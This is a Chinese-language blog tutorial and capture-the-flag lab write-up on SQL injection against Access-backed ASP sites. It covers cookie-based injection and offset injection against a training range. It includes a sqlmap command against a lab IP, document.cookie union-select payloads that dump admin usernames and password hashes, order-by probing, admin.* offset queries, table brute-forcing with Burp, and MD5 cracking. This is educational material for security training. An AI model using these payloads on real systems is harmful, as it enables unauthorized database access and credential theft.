Access注入——Cookie注入,偏移注入

Cookie注入简介

什么是Cookie?

Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号

Cookie注入常见吗?

老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参

COOKIE注入时为什么要删除URL内的id传参

因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参,具体也是要看语言的,我测试过,PHP会优先接受Cookie传参.

为什么可以cookie注入

 因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参

为什么没用到information_schema

access数据库里没有系统自带表,只能猜

不能查information_schema怎么得知表名

可以靠爆破和尝试一些常用表名(例如:news、admin、user)

为什么cookie注入里查找回显点语句后要加上from admin

因为access数据库不支持select 1,2,3 这样的语句,他必须要跟表名

为什么cookie注入语句后面不用加注释

 这个和SQL语句的组成部分有关,你注入的地方语句如果是

Select*from news where id=1 然后注入点在id=这里自然可以不加注释

为什么cookie注入可以绕过验证

因为早期网站防护只检测GET和POST传参,没有检测COOKIE

sqlmap如何进行cookie注入

Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)

还可以抓包,在Cookie后面打个*就可以了

在无法查询系统自带库的时候如何获取表名

 可以burp抓包爆破查询表名,因为表名的命名一般都有规则

and exist(select * from xxx)

cookie注入和显错注入,盲注这些有什么不同

Cookie注入的核心是传参方式,他对应的应该是POST注入之类的。显错注入的分类很明显核心看是否是显错,那么对应的就是盲注或者报错注入之类的。

什么是cookie

一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

如何去修改cookie

可以抓包修改(burp)

可以在浏览器里打开f12控制台通过JS修改,还可以在存储里修改cookie

可以使用插件修改(modify headers)

Cookie注入中可以用盲注的方式去判断表名吗

可以呀,不过能用显错就用显错,这里即使是用盲注还是得暴力猜解表名

Cookie注入只能在Access数据库上面使用吗?

并不是呀,基本上所有数据库都能呀,Cookie注入核心是传参方式,传参方式和数据库类型没有关系呀,是动态脚本语言干的事,这个锅数据库他不背

Cookie注入仅仅在ASP站点有吗?

Cookie注入在PHP中也有,但是最多得还是ASP,因为PHP在5.4的版本$_REQUEST就不会再接受Cookie传参了。

为什么我写的语句放入Cookie无效,SQL注入无效

因为Cookie需要进行一次URL编码才会有效果

为什么我谷歌直接修改Cookie没有效果

建议使用火狐浏览器,不要使用谷歌

如果用Sqlmap直接跑Cookie注入

sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

知道了coolkie的注入原理,我们就要知道如何修改原有网站的cookie

方法一:用BURP抓包直接修改数据包的值,添加一个cookie字段请求头里面;

注意点:( Cookie传参值需要URL编码,如果不对其进行URL编码,那么里面有些特殊的字符可能会对语句产生影响);

方法二: 用Javascript来设置Cookie (这也是最简单有效的方法);
我们可以尝试使用Javascript来设置Cookie
我们先按F12调出浏览器的开发者工具

这里以谷歌浏览器为例: 我们选择Console,打开浏览器的控制台,输入设置Js的语句就可以了
document.cookie=”id=171” (但是要将url编码栏里的get传参去掉,不去掉页面就会优先执行url编码栏的get传参)
通过浏览器Document.cookie来设置Cookie,Cookie名字为 id escape是一个编码函数,这个函数会进行一次URL编码

那我们就进入靶场吧

let's go~

掌控安全学院实战演练靶场http://kypt8004.ia.aqlab.cn/

做题思路看这里:

首先尝试传参过去

Access注入——Cookie注入,偏移注入_第1张图片

发现普通的传参是不能进行的~~

那就试试cookie 

1. 判断是否存在注入

正常页面是id=171 ,在url栏里输入171 and 1=1,发现被拦截

Access注入——Cookie注入,偏移注入_第2张图片

因为 Cookie注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参。 

所以查看回显的时候要先将?id=171删除

再F12调出console

使用and 1=1、and 1=2判断页面是否存在注入

Access注入——Cookie注入,偏移注入_第3张图片

Access注入——Cookie注入,偏移注入_第4张图片

 171 and 1=2发现页面报服务器错误,说明存在cookie注入

2. 判断页面中的表

输入语句,表名都是回显异常

Access注入——Cookie注入,偏移注入_第5张图片

 猜表名太累了,直接爆破吧

Access注入——Cookie注入,偏移注入_第6张图片

 又在网站上找到的admin的后台登录页面

Access注入——Cookie注入,偏移注入_第7张图片

 所以下一步要爆破的列应该是admin下的

3. 判断表中的列

表都有了,那就爆破列名

Access注入——Cookie注入,偏移注入_第8张图片

 

Access注入——Cookie注入,偏移注入_第9张图片

 温馨提醒,跑的字典包不用太大,表名很简单,复杂的包除了耗时间,其他是没什么区别的

4. 判断字段数

使用order by来判断字段数

试到order by 11就回显异常了,说明有10个字段

Access注入——Cookie注入,偏移注入_第10张图片

 Access注入——Cookie注入,偏移注入_第11张图片

 

5. 判断显错位

使用

document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10 from admin”)

Access注入——Cookie注入,偏移注入_第12张图片

 显错位为2,3,7,8,9

6. 查询用户名和密码值

document.cookie="id="+escape("171 union select 1,password,username,4,5,6,id,flag,9,10 from admin")

得到

Access注入——Cookie注入,偏移注入_第13张图片

 所以 username:admin

          password: b9a2a2b5dffb918c

b9a2a2b5dffb918c 用MD5编码解码可以得到

Access注入——Cookie注入,偏移注入_第14张图片

 

7. 得到flag

在后台页面登录

Access注入——Cookie注入,偏移注入_第15张图片

 

Access注入——Cookie注入,偏移注入_第16张图片

 

偏移注入

偏移注入使用场景

在SQL注入的时候会遇到一些无法查询列名的问题,

比如系统自带数据库的权限不够而无法访问系统自带库。    

当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。

像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,

例如:H5scker_Passwd 之类的那就无可奈何了

偏移注入的步骤

Access注入——Cookie注入,偏移注入_第17张图片

偏移注入是否仅用于Access

不是,mysql也可以使用偏移注入。

*的作用

用于代替表内全部字段,在不能用系统自带库查字段名时

与正则表达式中的*有什么不同

正则中的*代表匹配前面的0或无数次,而这里的*指定表中所有的字段,admin.*是指admin表中所有的字段

偏移注释时联合查询后的一张表为什么要小于前一张表

联合查询必须要满足一个条件,就是前面的查询和后面的查询字段数必须相等,因为前面那张表的查询字段数是固定的,后面那张我们控制,但是当你使用admin.* 代表admin整个表的字段,如果admin表字段比前面那个表多,就不符合联合查询

为什么flag的输出点会在图片里出现

数据库里面他保存了图片的链接地址,然后拼凑到了页面上

为什么没用到information_schema

access数据库里没有系统自带表,只能猜

前面的sql应该报错而不显示

虽然不显示但还是占了输出位,只显示了正确的

能查到所有数据吗

看具体环境,有的时候正好能全部查出,有的时候只能查出部分

union 联合查询前为什么要加and 1=2

因为显示的时候有时只能返回第一行的数据,加上and 1=2后使前面的语句报错,前一行就没用输出了,从而显示后一条语句

为什么偏移注入要用1,2,admin.*呢

因为我们不知道这个表中的具体字段名,xxx.*代表所有字段,把表二所有字段字段都显示出来,然后再来找那个具体的字段

能不能直接写*

不能,直接写*的话不知道你这个代表了是那个表

xxx.*可以代表任意字段及数量吗

代表XXX表的所有字段

那么可以用select * from代替select 1,admin.*吗?

不能,直接加*的情况下,我们无法控制Union后的字段输出个数,union是在两个表的字段数要相同的情况下才可以成立的,否则联合查询不能执行

整个SQL语句都能操控吗

不能,我们只能在原有的select查询的基础上加上联合查询的语句,我们不能控制他之前的查询

admin.* 代表一个任意字段?

admin.*代表了所有字段

and exist(select * from admin) 类似的盲注的语句能否使用

这里主要是涉及偏移注入,那一条的确是access的盲注语句,但在现在的情况下并不适用,因为你不知道字段名,无法盲注

为什么access数据库union 联合查询在查字段后要加 from

因为access数据库在报显示位是要确定一个表名

admin是当前表吗

不是,只是指定了admin表

偏移注入

思路

1. 判断是否存在注入

2. 判断当前页面字段数

3. 爆破表名

4. 判断当前显错位

5. 判断admin表的字段数

6. 测试排序的特性

7. 判断隐藏显错位

8. 得到flag

判断是否存在注入

Access注入——Cookie注入,偏移注入_第18张图片 

 不能传参注入,来看看cookie

Access注入——Cookie注入,偏移注入_第19张图片

 判断当前页面字段数

document.cookie="id="+escape("105 order by 26")回显正常

但当document.cookie="id="+escape("105 order by 27")就显示找不到产品Access注入——Cookie注入,偏移注入_第20张图片

判断显错位

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")

Access注入——Cookie注入,偏移注入_第21张图片

可以看到回显点为3,5,7

查看控制插件发现了

点击进入发现带有cookie

 

 是个隐藏回显点

  查询表名

document.cookie="id="+escape("105 and exists(select * from admin)")

回显正常

document.cookie="id="+escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin")

 Access注入——Cookie注入,偏移注入_第22张图片

 

zkaq%7Bf0e12dafb6%7D

接下来解码

Access注入——Cookie注入,偏移注入_第23张图片

 

 

你可能感兴趣的:(小白入坑,笔记,安全,前端,web安全)